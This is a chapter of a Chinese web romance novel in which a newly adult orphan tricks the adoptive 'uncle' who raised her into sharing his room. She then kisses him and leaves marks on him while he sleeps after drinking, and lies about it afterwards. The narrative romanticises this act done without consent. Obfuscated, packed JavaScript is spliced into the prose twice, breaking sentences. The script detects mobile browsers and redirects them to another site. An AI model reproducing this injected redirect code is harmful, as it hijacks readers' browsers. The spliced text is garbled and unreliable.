“有什么不合适的,你又不是别人。”明绯轻哼了声:“而且谁说没有特殊情况了?都打雷了,还不算特殊情况吗?” “不算。”宴西叙答得干脆。 “外面打雷,你待在房间里,很安全。”宴西叙道:“就算跟我待在一个房间里,绯绯,外面还是会打雷。而且你已经长大了,乖,克服一下。” “可我就是害怕啊,这种事,怎么克服得了?”说话间,女孩已经带上了浓重的鼻音,这是要哭了。 宴西叙语气还是软了下来:“那就让巧克力陪你,好不好。” “不要,巧克力是条胆小狗,我才不要它陪我。” 巧克力胆子确实小了点,可惜兰姨不在,家里就只剩下他们两个,如果要找一个人陪她,似乎只能是他。 不是没想过妥协。 但不知怎么—— 他忽然觉得,不能再纵着她了。 他从不介意将明绯宠坏,反正无论她想要什么,他都能为她做到,无论闯出什么样的祸,他也都能为她兜底,只要她开心。 可有些事情,却不能无底线地纵容。 顶灯的白光从上打下来,在眉骨下方投出一片深邃阴影。 宴西叙很少有这么沉下眉眼看她的时候。 嗓音没了平时的懒调,一字一顿,低沉地压下来:“绯绯,听话。” 明绯不说话,眼圈红红的,只是站在原地,用力地揪着兔子玩偶的耳朵。 像一场无声的对峙。 宴西叙蹙眉看着她。 少女穿着一条米白的丝绸睡裙,乌黑浓密的卷发垂落在腰际,雪白的面孔微仰,眼眸泛着隐隐的水光,清冷又倔强。 视线无意下扫,才注意到她是赤着脚踩在地板上,脚趾局促地蜷缩着。 宴西叙皱眉:“你没穿鞋?”他呼吸立刻往下沉:“病才刚好,就这么胡闹?” “不用你管。”女孩赌气地说:“反正小叔叔一点儿都不在乎我。” “明绯。”他叫了一声她的名字,忽然觉得头疼得厉害。 窗外这时划过一道闪电,明绯眸底亮起奇异的光芒,低头的瞬间,唇角翘起一丝不易察觉的弧度。 闪电过后,雷声轰隆而至,仿佛炸响在耳边,她立刻抱紧膝盖蹲了下去,肩膀轻轻抽动,呜咽出声。 从宴西叙的角度看过去,像极了她被雷声吓到,埋在膝间哭泣。 宴西叙的心脏一阵紧缩。 长腿匆忙跨下床,他几步来到她的身边。 单膝点地蹲在她面前,他抬手揉了揉她的发顶,语调温柔:“不怕,我在这。” 又是一记闷雷滚过,宴西叙注意到明绯身体明显抖了一下。 感受着掌心传来的细微颤//.栗,他想起十年前她第一次来宴宅时的场景,那时的她,也是像现在这样,紧紧抱着兔子玩偶,稍有动静,就仿佛受了某种惊吓,整个人紧张无措,微微颤抖。 几乎是立刻心软。 他叹息一声,抬手捏了捏她的后颈:“好了,有我陪着你,怎么还怕?” “不哭了行不行。” 明绯从臂弯处抬头,一张小脸哭得粉白斑驳,几缕发丝凌乱地黏在脸上,眼圈红红的,鼻尖也红红的,一双漂亮的眼睛里氤氲着水汽,委屈地说:“会一直陪着我么?可是你马上就要赶我走了……” 说完湿漉漉地看着他,眼底含着渴求,模样可怜又可爱。 像一只祈求主人允许的小猫咪。 宴西叙“啧”了一声:“真哭成小花猫了?” 拇指帮她拭去眼睫上挂着的泪珠,宴西叙看着她,顿了顿,最终还是妥协:“行了,今晚先留下吧。” 不是他无底线纵容她,宴西叙想,实在是今晚的雷确实吓人了点。 小女孩哪有不怕打雷的?他的绯绯虽然已经成人,但也不过是个十几岁的小女孩而已,即使要克服打雷,也要循序渐进。 所以,还是下次吧。 明绯眨了眨眼,浓密的眼睫轻颤,像是栖息在枝头纷飞的蝶翼,清透的眼眸泛着水光,不确定地问:“真的吗?小叔叔,你不赶我走了?” 他看了她一眼,“嗯”了声,伸手捏了捏她的后颈,懒散地笑:“满意了?” 明绯立刻破涕为笑。 脸上泪痕未干,脸颊边却绽开梨涡,看上去有几分可爱的滑稽。 宴西叙调侃了她几句。 明绯哼唧了声,却也没介意,只是黏黏糊糊地说:“谢谢小叔叔……” 这时天边又响起一道雷声,明绯却只一瞬不瞬地看着他,漂亮的眼睛格外明亮,嘴角翘起,挂着得逞的笑意。 宴西叙挑眉:“怎么,这会又不怕了?” “因为小叔叔已经答应一直陪着我了啊。”少女的眼神透着一丝狡黠,又有几分得意。 她注视了他片刻,而后认真地道:“只要小叔叔陪在我身边,我就什么都不怕了。” 心脏泛起一阵酸软,宴西叙喉结滚动,轻笑了下:“我就这么重要啊。” 少女黑白分明的眼眸一瞬不瞬地注视着他,用力点头:“小叔叔是很重要的人。” 意料之中的答案。 但是亲耳听到,还是十分动听。 宴西叙眼底漫开愉悦。 虽然不排除是满足她的要求后,她心情好了,故意说些好听的话来讨好他。 不过就算这样,他也很喜欢。 他想小女孩应该都这样,黏人爱撒娇,只不过她从小娇生惯养,被他宠坏了,一副大小姐脾气,平时在他面前大多时候都是很乖的,就像现在这样。 但如果有什么地方不顺她的意了,她发起脾气来不理人,他也拿她没有一点办法。 不过好在,她从来不舍得一直不理他。 他想他们之间,也永远不会有这么一天。 毕竟除开爷爷之外,他们是这个世界上,最亲密的人。 这一点,永远都不会变。 他揉了揉她的脑袋:“乖,时候不早了,早点睡吧。” 明绯笑容乖巧,点了点头,之后起身,十分自然地爬上宴西叙的床,扯过他的被子盖在身上,往上一拉,没过头顶,动作一气呵成。 宴西叙站在床边,看了眼床上隆起的一团,挑眉问:“不是说睡沙发?” 明绯这才将被子拉下来一点,只露出一双眼睛,“不好意思小叔叔,我习惯在床上睡觉,所以一时忘记了……我这就下来……”话是这样说,动作却依然慢吞吞的。 宴西叙看了他一眼,挑眉问:“没带被子?” 他扯了唇角笑:“上我这儿睡沙发,被子都不带?” 明绯垂下眼睑,乌黑的睫毛轻轻颤动,掩下眸底的情绪:“不好意思小叔叔,走得太急,忘记了……” 宴西叙:“行,你睡我床,我睡沙发。”他本来也没打算真让她睡沙发,就逗逗小孩罢了。 他弯腰,刚想去拿回他的那床被子,小孩又把被子拉过头顶,盖住了脑袋,在床上翻滚了几圈,把自己裹成了蚕蛹。 算了。 他又重新拿了一床。 这一通折腾下来,夜已经深了。 宴西叙熄灯前看了一眼床上,明绯闭着眼,呼吸匀称,不知道什么时候已经睡着了。 这么快? 看来先前是真吓坏了,精神一放松,立刻就睡着了。 宴西叙弯唇,修长手指搭在开关上,啪地一声熄了灯。 …… 雨不知不觉已经停了,电闪雷鸣也在某一个时刻悉数湮灭,整个世界仿佛万籁俱寂。 宴西叙这两天忙着照顾明绯,原本就没有休息好,眼皮阖上,很快就沉沉睡去。 黑暗中,明绯缓缓睁开了眼,一双眼睛亮得惊人。 她根本睡不着。 这是她成年后第一次在宴西叙的房间,和他一起过夜。 成年,意味着已经具备了某种资格。 或许换做任何一个人,在具备这种资格后,和暗恋多年的人在同一个房间里待上漫长的一个夜晚,都会睡不着的吧。 天公实在作美,刚才明绯需要雷声时,雷电交加,现在用不上了,外面风平浪静,甚至连雨声都歇了。 极致的安静,反而让人越发睡不着。 房间里落针可闻,甚至可以隐隐听见他的呼吸声,轻缓、绵长,像沙滩岸边的海浪,一下一下拍打在她敏感的神经上。 太安静了,连她的心跳都清晰可闻。 好烦。 静谧的环境放大了一切细微的动静。 她烦乱地呼出一口气,扯过被子蒙住脑袋。 属于宴西叙的气息瞬间将她笼罩。 那是宴西叙惯常用的香水味。 一种极具侵略性的馥奇香调,前调是黑玫瑰和佛手柑,神秘性感,中调是冷冽的木质香,混着辛烈的焚香气息,尾调是木质琥珀调,留香持久,令人念念不忘。 嗅闻着属于他的气息,全身上下都被他的气息包裹着,温暖的热意流淌,有种被他抱在怀里的错觉。 她贪恋着这种错觉,一种隐秘的欢喜溢满胸腔。 费尽心思地留在他房里,或许就是为了这一刻。 直到濒临窒息,她才扯下被子大口大口地喘息。 由于缺氧她的眼眸泛上生理性泪水,长睫湿漉漉地沾着水珠,在黑暗中晶莹点点。 唇瓣微张,泛着鲜妍的红。 或许是在被子里蒙太久了,热意丝丝缕缕地上浮,面上也跟着泛起潮红。 月色如水,漫过纱帘洒入室内,清凌凌地映照在她脸上。 乌黑浓密的长发逶迤铺开,瓷白的肌肤泛着潮红,唇色鲜妍,色调对比鲜明,更衬得少女有一种惊心动魄的美。 她转过头,似乎才发现窗帘没有拉上,只拉了纱帘,纱帘轻透,根本遮不了光。 明天周末,她不想宴西叙被阳光刺醒,而且今夜月色太亮,不拉窗帘,她更睡不着了。 想到这里,她掀开被子,起身下床,赤脚踩在地板上,几乎没有声音。 她走到窗边,正要拉上窗帘,忽然心中一动,转头望向一旁的沙发。 宴西叙侧躺在沙发上,他身高腿长,沙发容纳不够,长腿只能蜷曲着,很不舒服的睡姿。 明绯蹙眉,忽然觉得小叔叔有点可怜,不过那点心疼还未完全浮出,便又转瞬沉了下去——她一脸天真地想:我也从来没有不让他上床啊,明明那张床那么大,两个人躺在上面,无论什么姿势,都能够躺下——谁让他偏偏要去睡沙发呢。 他们两个,是世界上最亲密的人,本来就不应该这么见外,不是吗? 思绪回笼,她看着他,视线缓慢上移,最终停留在他的脸上。 月色清绝,缱绻地流淌在他的眉眼,在眉骨下方投下一片阴影,更显得他眼睫分明。 往下是高挺的鼻梁,轻阖的唇。 月光为他的轮廓镀上一层冷光,他的气质本来就偏冷,只不过一双桃花眼天生含情,往往让人生出错觉,尤其笑起来,能盖住底色的冷淡疏离。 可眼下他阖了眼,冷淡的气质便完全凸显出来。 像是去年初冬的第一场新雪,冷冽彻骨,却又让人心生向往。 鬼使神差地,她抬步慢慢朝他走了过去。 在沙发边上蹲下,她凝视了他片刻,试探地叫了他一声:“小叔叔?” 宴西叙没有反应,呼吸依旧匀称。 明绯屏住呼吸,又叫了他一声。 依旧没有任何反应。 是了,她差点忘了,他晚上被她灌了点酒。 她稍稍提高音量,又靠近了些,叫他:“宴西叙。” 还是毫无反应。 明绯的心脏忽然剧烈跳动。 她的手指轻轻搭上他的眉骨,细细描摹,指尖沿着眉骨往下,划过薄薄的眼皮、高挺的鼻梁,直到落在他的唇上。 很软。 如果他现处在清醒的时刻,是绝对不会允许她这么做的,这张柔软漂亮的嘴唇,不知道会吐出些什么她不爱听的话。 可他现在睡着了,毫无防备。 甚至她可以对他做一些过分的事而不被发现。 如果他知道他从小宠爱的小侄女,对他抱有这样的想法,还会毫无防备地在她面前睡着吗? 她想她还是更喜欢他睡着的样子。 可是她也会幻想,有那么一天,那双漂亮含情的眼睛,会清醒地注视着她,放纵地和她一起沉沦。 会太奢侈了么? 这样的幻想。要想实现,遥远到近乎奢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660774|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侈。 可是她想会有那么一天的。 会有那么一天,她会得到她想要的一切。 “你说会么?”她轻声问他,“小叔叔。” 回应她的只有他匀称的呼吸。 少女弯起唇角,指尖轻轻描摹着他的唇形。 她在黑暗中久久地凝视着他,小叔叔真好看,看久了,就很难移开视线。 从什么时候开始,对他有这种畸形的恋慕呢?久到连自己都记不清了。 这么多年,喜欢他仿佛成了一种习惯。 早年父母双亡,爷爷奶奶身体又不好,几乎随时都会离她而去,她那时实在太小了,她很害怕,像一块漂浮无依的浮萍,惶然无措,直到遇见宴西叙。 虽然是宴爷爷收留了她,但他年纪大了,一年大多时间在医院,力不从心,是宴西叙朝夕相处地陪她长大。 她太依赖他了。她无法想象,有一天他的世界会闯进别人,他会收回对她的所有的宠爱和例外。 他是湍流里唯一的舟,浮萍依附在他身上,短暂地有了归属。 可舟终会靠岸。 或许是儿时的变故让她严重缺乏安全感,她渴望与他有更深的羁绊。 不是现在这种可有可无的叔侄关系,她想做他停靠的岸。 也是真正意义上的,他最亲密的人。 而为了证明这种她想要的亲密关系,似乎需要付诸某些行动。 她轻轻抚摸着他的唇:比如,在这里打上某种烙印。 她缓缓凑近了他,屏住呼吸,指尖无意识地攥紧,极轻地吻上他的唇。 温热的,比她想象中还要柔软。 接吻果然是这个世界上最美妙的事。 呼吸变得急促,大脑一片空白,血管突突地跳,耳膜里发出轻微的鼓动,像是千万只蝴蝶扇动蝶翼,在耳边震颤。 黑暗中感官被无限放大,却又什么仿佛什么都看不到,什么都听不到,只余下他温热的气息、唇边柔软的触感,愈发清晰可感,像一场无比真实的美梦。 …… 第二天宴西叙在浴室无意间瞟了一眼镜子,发现唇角有点破皮,可能是什么时候不小心蹭破的?他没在意,只是目光下移,脖子上也有好几处红痕,喉结还有点肿,像是被人咬了一口,也像是单纯的皮肤红肿。 他微微蹙眉。 房间里不可能有蚊子或者其他什么虫子。 难道是事出仓促,新换的那床被子没有杀菌消毒,他又过敏了? 他的确很容易过敏,一不小心,皮肤上就会泛起红疹。 只是在脖子上这个位置上,怎么看怎么暧日未。 要不是昨晚和他一起待在房间的是他的小侄女,他都要怀疑那是吻痕了。 换衣服时,他有意扯了衬衫领口遮掩,可惜根本遮不住,他也懒得再管了。 —— 来到客厅,发现他的小侄女已经坐在餐桌旁用早餐,旁边他的位置也摆放着一份早餐。 听到动静,她抬起头,朝他甜甜一笑,脸颊边梨涡若隐若现:“小叔叔早。” 宴西叙掀唇,迈着长腿走到她身边,随意地拉开椅子坐下:“早啊。” “小叔叔,早餐我让厨师做了你最喜欢的法式吐司,还有培根和溏心太阳蛋哦。”明绯讨好地说。 昨晚做了坏事,为了让良心好过些,她总要做点什么。 “是吗,”不知内情的宴西叙显然很受用,转过头来看她,唇角勾着点懒散笑意:“那就谢谢我们绯绯了。” 明绯正要说不用谢,余光瞥见他脖子上的吻痕,顿时变得心虚不已。 毕竟是第一次做这种事,没有经验,面对留下的罪证,目光也变得有些闪躲。 宴西叙挑眉:“怎么了?” “怎么不敢看我啊。” 说着忽然想起脖子上的那些痕迹,以为明绯是误会了什么,指尖摩挲着颈侧那处红痕,要笑不笑地道:“想什么呢,只是过敏而已,昨晚我和你待一块,要真是吻痕,难道是你弄得啊。” 他不过随口一说,明绯脸上的神情却肉眼可见变得慌乱,手里的银叉撞在瓷盘上,发出清脆的声响。 “怎么了?”宴西叙蹙眉:“昨晚没睡好?” 明绯咬着唇,细若蚊呐地道:“没……没有……”一抬眼,一张俊脸却陡然逼近。 宴西叙不知何时已经倾身靠近,视线从她脸上一寸寸扫过,含着某种打量的意味,若有所思地道:“你……” 有那么一瞬间,明绯的大脑一片空白,心脏几乎停止跳动,手心一片冰冷的潮湿。 她幻想过无数种跟宴西叙摊牌的方式,却没想到会是这一种。 以这样狼狈的方式被拆穿,她根本毫无准备……对宴西叙未知反应的恐惧,让她几乎不能思考。 嘴唇不受控制地轻颤,像是囚徒放弃挣扎,等待最后的宣判:“小叔叔,对不起,我……” 宴西叙却忽然说:“……哦,看来确实是我的被子有问题。” 明绯一怔,“……什……什么?” 他指了指脖子上的红痕:“这个,我平时自己睡都没事,昨晚你来我房间,我把被子给了你,新拿了一床,就这样了,我刚才看了,你没起什么疹子。” 他笑了下,懒洋洋地道:“你说,除了我那床被子有问题,还能是什么?” 明绯过了一会儿才明白他话里的意思。 他的意思是,他脖子上的痕迹,是因为换了一床被子造成的,只是过敏。 他居然,宁可相信一贯做事严谨的兰姨在收纳时忘记帮他的被子消毒,也没有怀疑过她。 她一时竟然不知道是该高兴还是难过。 好在危机算是解除了,她松了一口气,整个人像是虚脱了一样。 “对了,”宴西叙问:“你刚才想说什么?” “对不起?怎么,又在背地里做了什么坏事?” 坏事?脑海中又不禁浮现出昨晚的画面……温热的呼吸,柔软的嘴唇,还有他身上好闻的味道…… 她垂下眼睑,浓睫轻颤,闷闷地说:“没有……没有做坏事……” 宴西叙挑眉笑:“是么?那耳朵怎么这么红,不是心虚?”那个时候,他只是以为她又做了什么恶作剧。 明绯抬眸,正好撞进他的眼里。 很淡的瞳色,介乎琥珀和茶色之间。 窗外的阳光照进来,在他的长睫上落下一圈淡淡的绒光。 桃花眼天生含情,漫不经心地望过来时,透着一种慵懒的蛊惑。 像是要把人溺毙其中。 有那么一个瞬间,她真想把一切都说出来。 凭什么他能一无所察、云淡风轻,而她却要在这里兵荒马乱、溃不成军? 喜欢宴西叙这件事,害怕他知的,可有时候,她却又发了疯地想让他知道。 有什么在破土而出,蠢蠢欲动。 她想她真是疯了。 谁知道呢,或许早就疯了。 可她最后还是垂下眼睫,掩饰性地摩挲着杯壁,轻声道:“耳朵红么,是热牛奶喝多了才会这样……” 一个谎言需要无数个谎言去圆。 每一个谎言都不能露出破绽。 就像多米诺骨牌,一旦第一块倒下,整列骨牌就会轰然倒塌。 每一次刚才那样的场景,都让她觉得精疲力尽。 她想她坚持不了多久了。 她从来不喜欢扑火的飞蛾,但如果结局注定是死亡,在火光焚烧的那一刻,它至少得到了炽烈的光与热,总好过永远困在冰冷的茧蛹中,连死亡都悄无声息。 要么得到救赎,要么彻底毁灭。 12. 第 12 章 这天医院那边传来消息,宴老爷子可以回家小住一段时间。 那天刚好是周末,宴西叙带着明绯一起去医院接他出院。 宴老爷子在外向来很有威严,底下的人看到他都噤若寒蝉,但在家对明绯却格外偏宠,一看到她眼角便堆满笑意,一脸慈爱。 究其原因,也是因为明绯按辈分,是家里最小的一辈,而且又是个小女孩,长得粉雕玉琢不说,说话还轻声细语,性子又乖,每次看到他都乖乖地问好,比宴西叙那种从小就让人不省心的混小子不知道好多少。 他做梦都想有个孙女,能不稀罕明绯吗? 更何况她父亲当年还救过他的命,要不是他,他这把老骨头早就归西咯。 后来她父亲意外去世,明绯是他唯一的独苗,他能想到来找他,几乎算得上托孤了。 他能不疼她吗? 这不,情况稍有好转,他便迫不及待地出院,想着回家看看小辈们。 一出院门,就看到宴西叙跟明绯站在外面。 两人站在一起特别扎眼,路过的人都在窃窃私语,好几个女生都红着脸频频回头看宴西叙,老爷子想不注意到都难。 护士在身后帮他推着轮椅,等走近了点,老爷子咳嗽一声,两人听到动静转了过来。 明绯手上捧着一大束花,一见到宴老爷子,眼神亮了一瞬,立刻欣喜地迎了上去,将手里的花束放进他老人家的怀里,在他面前蹲下,仰头看着他,眉眼弯弯,笑容甜美:“宴爷爷,恭喜宴爷爷出院!” 两人虽然聚少离多,但明绯除了在爷爷奶奶身体情况好些、在家的时候,回去住上一段时间陪伴他们,大多时候都在宴宅。 她来到宴家,都已经十年了,即使聚少离多,每年相处的时间并不多,但十年时间,加在一起,也并不算短。 何况宴老爷子对她一向慈爱,她除了刚来宴家时有点局促认生,后面也渐渐和他亲昵起来。 虽然按辈分,她该叫他一声太爷爷,但宴老爷子不喜欢她这么叫,听起来倒像是一个老不死似的,他今年也才八十岁,还没那么老! 当时明绯听后噗嗤一声笑了出来,嘴甜道:“那我就叫你宴爷爷吧。” 宴老爷子这才满意。 他摸了摸明绯的脑袋,眉毛舒展开来,笑得开怀:“哎呦,是我们的小明绯啊,让爷爷看看,一段时间不见,又变漂亮了。” 一边说,一边拿起那捧花,低头闻了闻,一脸的稀罕:“还是我们绯绯有心啊,来接我出院,还知道带束花,不像某些人呐,双手空空的,也好意思来。”说着余光意有所指地瞥向宴西叙,从鼻子里哼出一声。 宴西叙斜斜站着,双手插在裤袋,闻言勾唇,懒洋洋地道:“这不是给我小侄女一个表现机会?” “还给你小侄女一个表现机会,”宴老爷子哼了一声,显然不买账:“你怎么不说你这个做小叔叔的,给绯绯做个榜样?” “行了爷爷,给你订了‘松鹤堂’的包间,赏个光?” 松鹤堂是一家中式养生菜馆,在当地老年人群中口碑不错,宴老爷子最中意他家的清蒸鲥鱼,把鲥鱼跟火腿、笋肉、香菇一块清蒸,洒上酒酿,那鱼肉软滑细嫩,能鲜掉人的眉毛。 宴老爷子哼笑了声:“算你小子有点良心。” —— 两人陪宴老爷子从松鹤堂用了午饭,下午又去看了宴老爷子喜欢的画展,等回宴宅时,天已经黑了。 用晚饭时,宴老爷子看着一桌兰嫂做的家常菜,又看了看宴西叙和明绯,颇有点感慨,他年纪大了,身体呢,也全靠顶尖医疗维持着,虽说一时半会死不了,但毕竟年纪摆在这,恐怕也没几年活头了,如今最大的心愿,就是每回回家,能见到宴西叙和明绯,和这几个心爱的小辈一起平平淡淡地吃上一餐,住上几天,也就心满意足了。 晚饭后,宴西叙陪着宴老爷子下了几局围棋,老爷子棋艺不怎么样,瘾却很大,还老爱悔棋,却又不肯承认,明绯还在一旁帮腔,宴西叙懒得跟他们一老一少计较,为了哄宴老爷子开心,索性睁一只眼闭一只眼,到后面还故意让了他几步棋,结果宴老爷子得了便宜还卖乖,非说他是臭棋娄子,看不上他,不想跟他下了。 宴西叙笑了:“行,那爷爷,我走?” “走走走,别在这碍我的眼了,打扰我和小明绯说话。” 宴西叙漫不经心地点头,起身回书房处理文件去了。 他走后,明绯又陪着宴老爷子下了两局。她的围棋都是宴西叙教的,不说多出色,但棋风是一个路子,进攻凌厉,不拖泥带水,对付宴老爷子绰绰有余。 她当然也会故意让着他,但与对待宴西叙的态度不同,宴老爷子赢了棋只会乐呵呵地夸她:“还是我们小明绯会哄我开心啊。”不知道的,还以为宴西叙没哄他呢。 宴老爷子宠她,她自然也要回报,这几天一回家就陪着他在花园假山里散步,逛累了就回房间陪他下下棋,又或是给他画肖像。 宴老爷子配合地坐在沙发上,拄着手杖,笑呵呵地看着她。 明绯在不远处支着画板,铅笔勾勒出宴老爷子的轮廓,特意抹去了他眼角的皱纹和疲态。 老爷子看到画后笑得合不拢嘴:“你看我们绯绯,把我老头子画得那么精神,这可不写实啊。” 明绯亲昵地挨着他坐下,笑着说:“宴爷爷,这用我们现在的话来说,叫做‘还原美貌’,您本来就是那么精神的。” 老爷子哈哈笑道:“就你嘴甜,还‘还原美貌’,我还是第一次听说,你们年轻人的潮流,我可是跟不上了,毕竟老了,岁月不饶人啊。” “老了又怎么样?”明绯道:“法拉利老了也还是法拉利啊。” 老爷子没听懂,明绯跟他解释了这个网络梗的含义,老爷子听完又是哈哈大笑,回过神来忍不住问:“小明绯怎么知道我年轻时是辆‘法拉利’呢?” 明绯脱口而出:“看小叔叔就知道了,他一定是遗传宴爷爷。” 老爷子开怀大笑,要说到这个,他可就得意上了:“西叙长得像我,想当年在大院,我可是出了名的俊,我外婆是德国来的援华工程师,我呢,用现在的话来讲,也算是有点混血,小时候被叫‘小洋佬’,我不乐意听,还跟人打起来,没想到长大后高鼻梁深眼窝,还挺俊,很招姑娘喜欢……就是现在老了,年轻时候的长相也看不太出来了……” “其实西叙更像他妈妈,他……”老爷子说着突然停了下来,脸上神情落寞,长长叹了口气。 宴西叙的母亲白斯薇,白氏集团的千金,也是上个世纪九十年代风华绝代的女明星,却在二十八岁那年意外去世,死因讳莫如深。 听说老爷子一开始还是很中意这个儿媳妇的。 明绯不愿意他陷入伤感,连忙又将话题扯回他身上:“但是小叔叔的轮廓很像宴爷爷啊,如果宴爷爷的基因不够好,那别的基因再好也会被稀释掉的,所以啊,小叔叔还是得感谢宴爷爷呢。” 一番话又把宴老爷给哄得高高兴兴:“小明绯真是我的开心果。”却又忍不住伤感起来:“唉,以后你要是不在宴家了,回来看不到你,没你陪在我身边解闷,老头子我可真是活不下去咯。” “爷爷,不会的,”明绯笑着挽上他的胳膊,亲昵地道:“我会一直留在宴家,陪在你身边的。” “傻孩子,你以后是要嫁人的,怎么可能一直……”老爷子话说到一半,忽然停了下来,手掌无意识地摩挲着手杖,眼神动了动,突然意识到要想明绯永远留在宴家,也不是不行。 他又仔细地看了一眼明绯,她已经完全是大人的模样了,是啊,她已经过了成人礼,可不就是大人了吗? 有些事,也是时候该打算起来了。 虽然对她而言,现在考虑这个,未免太早了一些,但是明绯的情况毕竟特殊,早点定下人选,他也能早点安心。 不过说到成人礼,之前小明绯的十八岁生日,他的病情忽然反复,不得已留在医院,错过了她的生日,现在想起来,仍是觉得遗憾,忍不住长叹了一口气,把心中想法说了出来。 明绯安慰他:“没事宴爷爷,我前段时间过的是公历生日,但其实按照我们老家的传统,真正的生日应该是农历才对,就在下个周末,宴爷爷,你要是不嫌麻烦,想再为我庆祝一次,我们在那天买个蛋糕,再让兰姨做几个菜,你,我,还有小叔叔,再加上兰姨,我们几个,再好好吃一顿饭,分一下蛋糕,就当是为我庆生了。所以宴爷爷,您并没有错过我的人生节点,也不必为此感到遗憾。” 老爷子这才释怀地笑起来:“好好,就按照我们绯绯的意思,咱们啊,再过个农历生日,哈哈哈,你宴爷爷我,也更认这个农历生日,我们那个时候,都只讲这个,哪说得惯几号几号的。” 他想了想,又说道:“这样吧,你们年轻人不是有个词,叫做派对吗?既然要再过一次生日,那就办得热闹点,把你平时相处得好的那些同学朋友都叫来,热热闹闹地办一场。” “宴爷爷,我……”明绯本来想说什么,但看老爷子这么高兴,终究不忍扫他的兴,便答应下来。 其实她和班上的女生相处得都还可以,不过真正算得上很亲密的,也只有唐甜芯和另外两个女生,只邀请三个的话,人似乎少了点,那就把班上所有女生都邀请过来好了,大约有十几个。 至于男生,她之前拒绝过不少男生的告白,也几乎不和男生有什么接触,所以关系都很平淡,邀请过来反而不自在,还是算了。 —— 生日那天,兰姨早早布置好了一切。 宴西叙当天公司有事,赶回来的路上出了点状况,说要晚点过来。 邀请的女生基本都到齐了,老爷子和一堆小孩同桌,被推到了“C”位,了,大家一起唱生日歌,让明绯切了蛋糕许愿。 老爷子乐呵呵地看着一群孩子说笑嬉闹,尝过一块蛋糕之后,笑着说:“好了,我也陪我们明绯过过生日了,你们小年轻好好玩,我在这儿,你们反倒拘束,我就先回房了。” 明绯看出老爷子精力有些不够了,便也没挽留。一群女孩子嘴甜地跟老爷子告别:“爷爷再见。” 老爷子走后,她们确实放松了不少,毕竟刚才有长辈在场,不敢玩儿得太疯。 把各自准备的礼物送给明绯后,几个人歪在沙发里笑闹。 茶几上堆满了各种零食,唐甜芯想吃上回明绯带到学校里的一种德国威化,里面是榛子巧克力夹心的,在茶几上扒拉了一圈没有,便央著明绯去拿。 宴西叙进来的时候,几个女生正闹作一团。 听到动静,有人转头望去,不知是谁惊呼了一声,所有人纷纷抬头,客厅里的嬉闹声随之戛然而止。 男人站在玄关处,西装外套搭在臂弯,目光淡淡地扫视了一圈,发现都是女同学,绯绯没叫没乱七八糟的男同学过来。 他心情不错,迈着长腿往客厅里走,一边随意地跟她们打了招呼。 “各位都是绯绯的同学吧?谢谢来参加绯绯的生日派对,玩儿得开心。”他简单地做了自我介绍:“我是她小叔叔。” 一帮小女生立刻起了躁动,笑嘻嘻地道:“小叔叔好帅哦。” “小叔叔好年轻啊。应该只是辈分大,其实比我们大不了多少吧?” “小叔叔是模特吗?腿好长哦。” 宴西叙敷衍地扯了下唇,目光搜寻了一圈,没找到明绯:“绯绯呢?” “噢,她去房间里拿零食了。” 宴西叙应了声,随意地找了个位置坐下。 很快就有女生围了上来,大着胆子搭讪,宴西叙被围得喘不过气,他心底一阵烦躁,克制着起身:“我去看看绯绯。” 一堆女生只能悻悻散开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660775|188424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他穿过拱廊,走到楼梯口,正要上楼,身后突然传来一阵急促的脚步声。 “小叔叔,等一下。” 宴西叙回头,见是刚才搭讪的其中一名女生,似乎没想到她会追上来,他停在原地,等她喘息着站在他面前时,眉心蹙起,冷淡地问:“有事?” 女生似乎并不介意,弯唇浅笑,落落大方地道:“我叫林茜然,是明绯实践活动的小组长,小叔叔,方便加个微信吗?以后实践课上可能会需要找小叔叔帮忙哦。” 宴西叙:“比如?” 林茜然眨了眨眼,弯唇道:“比如我想让小叔叔做我的模特。” 宴西叙轻嗤了声:“不用了吧?” 说完淡淡地收回视线,转身正要上楼,林茜然的声音从身后传来,嗓音甜美,说出口的话像是含着某种深意:“小叔叔不想知道在明绯在学校里的一些情况吗?” “比如,她收到过几封情书,又有几个男生向她告过白?” 宴西叙脚步一顿,肩线几不可察地微微收紧。 他转过身,左手依旧插在西装口袋里,右手随意地搭在扶梯上,楼梯口的顶光打下来,在他的眉骨下方投下一片阴影,他的语气很淡:“说说?” 林茜然眨了眨眼,弯唇道:“小叔叔,这里说不太方便,要不加个微信?” 宴西叙面无表情地看着她。 —— 明绯下楼的时候撞见的正是这一幕,宴西叙斜靠在楼梯栏杆上,一只手松松地握着手机,屏幕的光映在他脸上,他的眉眼很淡。 他慢条斯理地调出什么,将屏幕往前一递,林茜然立刻去扫,叮得一声,似乎是在加微信。 明绯面无表情地注视着眼前的这一幕。 等到林茜然走后,明绯才从拐角处现身。 “小叔叔,”她叫了他一声,缓缓地走下楼梯,目光始终看向他,直到走到他的面前:“刚才林茜然,你和她,在做什么?” 宴西叙抬眼看她,似乎意外她也在这儿,顿了下,轻描淡写地道:“没什么。” 明绯还是用那种眼神看他,面无表情,眸底像是凝着一层冷雾。 宴西叙微微蹙眉,喉结滚动,顿了顿,道:“就只是加了微信。” “为什么要加微信?” 宴西叙:“她说她想让我做她的模特。” 明绯唇角勾起一丝嘲讽:“这样的理由就能让你同意加微信么?小叔叔,我不太信,我想听真正的理由。” “绯绯,”宴西叙喉结滑动:“我不想说。” 